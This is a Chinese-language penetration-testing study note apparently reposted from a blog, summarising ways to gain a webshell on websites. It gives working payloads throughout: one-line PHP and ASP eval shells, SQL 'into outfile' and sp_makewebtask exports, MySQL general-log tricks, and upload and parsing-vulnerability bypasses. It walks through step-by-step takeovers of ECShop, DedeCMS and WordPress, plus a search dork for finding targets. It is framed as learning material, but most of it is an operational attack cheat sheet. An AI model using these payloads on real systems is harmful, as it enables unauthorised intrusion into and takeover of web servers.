zoukankan      html  css  js  c++  java
  • 渗透测试学习 二十二、getshell总结

    大纲

        管理员权限拿shell

             普通权限拿shell

             常见cms拿shell

     

             进后台主要是可以对网站前台的内容,样式等做操作,要改脚本的内容的权限只有在webshell的权限下才可以(某些情况除外)。

     

    管理员权限拿shell

             需要有管理员权限才可以拿shell

             通常需要登录后台执行相关操作

             直接上传拿shell

             国内多对上传类型进行了限制,需要在进行绕过操作

             示例:织梦后台查找(改过之后的)

             Google intext:powerd by DedeCMSV57_UTD8_SP2

             DEDECMS V5.7

             拿到织梦后台,基本就拿到了shell

             文件式管理器->可修改网站脚本内容,也可以上传脚本

             若遇见文件权限问题,可以修改文件名为../往上级目录翻

     

    数据库备份拿shell

             网站上传的文件后缀名进行过滤,不允许上传脚本类型文件,如asp,php,jsp,aspx等,二网站具有数据库备份的功能,这时我们可以将webshell格式先改为可上传的格式,然后,将找到上传后的文件路径通过数据库备份,将文件备份为脚本格式。

             示例:南方数据 v7.0    良精通用企业网站管理系统

             有时会将系统管理中的按钮删除,但是功能是依旧存在的,(脚本文件名,数据库备份:Manage_backup.asp)可以在网站检查中,将其他连接的地址改为数据库备份的地址。阉割版的网站,常见于ecshop,wordpress,dedecms,aspcms,良精,帝国,南方,phpv9,科讯。可以本地下载完整的网站源码,自己搭建,对目标网站尝试修改拼接。

     

    突破上传拿shell

             本地js验证上传

             服务器mime上传

             服务器白名单上传

             服务器黑名单上传

             服务器filepath上传

             双文件上传

             %00截断上传

             上传其他脚本类型拿shell

     

    修改网站上传类型配置拿shell

             有的网站在网站上传类型中限制了上传脚本类型文件,可以添加上传文件类型,如php,jsp,asp等拿shell

     

    利用解析漏洞拿shell

             1、IIS 5.x/6.0解析漏洞          目录解析,分号解析,畸形文件名解析

             2、IIS 7.0/7.5,Nginx<8.03畸形文件名解析漏洞,php文件解析漏洞

             3、Nginx<8.03空字节代码执行漏洞

             4、Apache解析漏洞

     

    利用编辑器漏洞拿shell

             常见的编辑器有fckeditor,ewebeditor,cheditor

     

    网站配置插马拿shell

             通过找到网站默认配置,将一句话插入到网站配置中,可以事先下载网站源码,查看过滤规则,防止插马失败("%><%eval request(“abc”)%><%’)根据网站源码进行符号匹配。

     

    通过编辑模板拿shell

             1、通过对网站的模板进行编辑,写入一句话,然后生成脚本文件拿shell

             2、通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿shell

             示例:ecshop

             模板管理——库项目管理——配送方式

             写入php脚本验证:<?php phpinfo();?>

             访问/myship.php发现执行了phpinfo,之后就可以写入一句话,菜刀连接。注意:有时在后面有”?>”时,不会成功,可以去掉再尝试一下。

             数据库管理——SQL查询——输入”use mysql”让报错,爆出路径——select “<?php phpinfo();?>” into outfile ‘地址\x.php

             注意:Windows中,斜杠要用两个反斜杠,Linux路径用单个斜杠

             数据库管理——数据库备份——自定义备份(配合IIS6.0解析漏洞)创建用户(用户里面写入一句话)——放在ecs_users表中——备份——文件名为u.asp;.sql

     

    上传插件拿shell

             一些网站为了增加某些功能会在后台添加一些插件来实现,我们可以把木马添加到安装的插件中上传服务器拿shell,常见的有博客类网站dz论坛等

             示例:WordPress-V4.2.2

             搭建时要先创建数据库

             phpstudy——mysql——create database wpp;

             插件——已安装的插件——安装插件——下载一个正常的插件,将木马放在里面,一起上传,安装——找上传目录

     

    数据库执行拿shell

             可通过数据库执行命令导出一句话到网站根目录拿shell,access数据库导出一般需要利用解析漏洞xx.asp;.xml

             sqlserver导出:;exec%20sp_makewebtask%20%20%27c:zhetpubwwwrootmsx1.asp%27,%27select%27%27<%execute(request(“cmd”))%>%27%27%27

             mysql命令导出shell

             create TABLE study (cmd text Not NULL);

             insert INTO study (cmd) VALUES(‘<?php eval($_POST[cmd])?>’);

             select cmd from study into outfile ‘D:/php/www/htdocs/test/seven.php’;

             drop TABLE IF EXISTS study;

             use mysql;

             create table x (packet text) type=MYISaM;

             insert into x (packet) values(‘<pre><body><?php @system($_GET[“cmd”]);?></body></pre>’)

             select x into outfile ‘d:phpxx.php’

             select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘c:/inetpub/wwwroot/mysql.php/1.php’

     

    1.进入phpmyadmin

    2.知道网站路径

    3.直接执行SQL语句导入shell

    注:有时可能出现不允许直接导shell

             解决方法:首页——变量——general lag 编辑——ON——general log file 编辑 D:phpstudywwwa.php——SQL——一句话用引号引起来——执行——报错——生成日志,利用日志记录生成shell

    4.不知道路径时——推理路径

             首页——变量——mysql的集成环境路径——apache的路径也知道了——D:phpstudyApacheconfhttpd.conf——找个数据库——创建表:

    create table a(a text);

    开外链

    load data infile “D:/phpstudy/Apache/conf/httpd.conf” into table  a;

    导出SQL搜索documentroot

     

    路径推理

    D:/phpstudy/Apache/conf/httpd.conf                       配置文件的路径,找网站根目录

    Apache

    /usr/local/mysql

    /usr/local/apache/conf/httpd.conf

    /usr/local/httpd/conf/httpd.conf

    /etc/httpd/conf/httpd.conf

    /usr/local/apache2/conf/httpd.conf

    ngnix

    /usr/local/nginx/conf/nginx.conf

    phpmyadmin一般在网站根目录下

             当找不到配置文件时,可以读大文件,由于文件太大会报错,有可能会报出phpmyadmin的路径。

     

    文件包含拿shell    多用于上传大马

             先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可绕过waf拿shell

             asp包含

             1.<!--#include file=”123.jpg”-->

             2.调用的文件必须和被调用的文件在同一目录,否则找不到

             3.如果找不到,用下面的语句

             <--#include virtual=”文件所在目录/123.jpg”-->

             php包含

             <?php include(“123.jpg”)?>

     

    命令执行拿shell

             echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:1.php

             echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:1.php

             ^<^%eval request(“abc”)%^>^ >c:1.php

     

    普通用户前台拿shell

             0day拿shell

             IIS写权限拿shell

             命令执行拿shell

             通过注入漏洞拿shell

        前台用户头像上传拿shell

             strusts2拿shell

             java反序列拿shell

  • 相关阅读:
    mod_wl.so,apxs,mod_so.c,withmpm=worker,selinux;apapche&weblogic链接配置
    rc.local
    库没启动,报:ORA01034: ORACLE not available
    Socket编程简单示例
    基于UDP的Socket编程
    代理模式
    [转]Tomcat Server.xml 标签详解
    创建和使用URL访问网络资源
    myeclipse8.5中 集成svn
    div+css布局之固定定位布局
  • 原文地址:https://www.cnblogs.com/Yuuki-/p/11777678.html
Copyright © 2011-2022 走看看